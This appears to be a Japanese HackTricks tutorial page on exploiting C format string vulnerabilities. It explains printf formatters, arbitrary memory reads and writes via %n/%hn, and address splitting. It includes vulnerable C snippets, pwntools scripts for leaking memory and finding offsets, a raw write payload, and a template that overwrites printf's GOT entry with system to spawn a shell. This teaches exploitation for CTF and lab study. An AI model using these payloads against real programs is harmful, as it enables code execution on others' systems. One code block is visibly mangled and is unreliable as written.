Format Strings

HackTricksをサポートする

基本情報

Cの**printfは、いくつかの文字列を出力するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。次に期待されるパラメータは、生のテキストからフォーマッタを置き換えるための値**です。

他の脆弱な関数には**sprintf()fprintf()**があります。

脆弱性は、攻撃者のテキストがこの関数の最初の引数として使用されるときに現れます。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きするための特別な入力を作成することができます。この方法で任意のコードを実行することが可能です。

フォーマッタ:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱な例:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 引数が欠落している場合:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf 脆弱性:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

ポインタへのアクセス

フォーマット %<n>$x は、n が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:

printf("%x %x %x %x")

そして、最初から4番目のパラメータまで読み取ることができます。

または、次のようにできます:

printf("%4$x")

そして直接4番目を読み取ります。

攻撃者がprintfの**パラメータを制御していることに注意してください。これは基本的に、**彼の入力がprintfが呼び出されるときにスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。

この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printfがそれにアクセスできるようにします。次のセクションでは、この動作をどのように利用するかが説明されます。

任意の読み取り

フォーマッタ**%n$sを使用して、printfn位置にあるアドレスを取得し、それを文字列のように印刷することが可能です(0x00が見つかるまで印刷します)。したがって、バイナリのベースアドレスが0x8048000**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

注意:入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。

オフセットを見つける

入力のオフセットを見つけるには、4バイトまたは8バイト(0x41414141)を送信し、その後に**%1$xを続けて、Aの値が取得されるまで増加**させます。

ブルートフォースprintfオフセット

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### どれほど役立つか

任意の読み取りは以下の目的に役立ちます:

* **メモリから** **バイナリ**を**ダンプ**する
* **カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワード**が保存されているメモリの特定の部分に**アクセス**する

## **任意の書き込み**

フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができるようになります。

幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`位置が指すアドレスに** **`<num-write>`**という数を書くことが可能です。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

しかし、通常、0x08049724のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**$hn$n**の代わりに使用されます。これにより、2バイトだけを書くことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。

したがって、この脆弱性は任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。

この例では、目標は後で呼び出される関数のアドレス上書きすることです。これは他の任意書き込みからexec技術を悪用することもできます:

私たちは、ユーザーから引数受け取る関数を上書きし、それを**system関数にポイントします。 前述のように、アドレスを書くためには通常2ステップが必要です:最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために$hn**が使用されます。

  • HOBはアドレスの上位2バイトに呼び出されます

  • LOBはアドレスの下位2バイトに呼び出されます

次に、フォーマット文字列の動作のために、最初に[HOB, LOB]の中で最小のものを書く必要があります、その後にもう一方を書きます。

HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools テンプレート

この種の脆弱性に対するエクスプロイトを準備するためのテンプレートは、以下にあります:

または、こちらの基本的な例もあります:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

フォーマット文字列からBOFへ

フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込むことが可能であり、バッファオーバーフロータイプの脆弱性を悪用することができます。

その他の例と参考文献

Last updated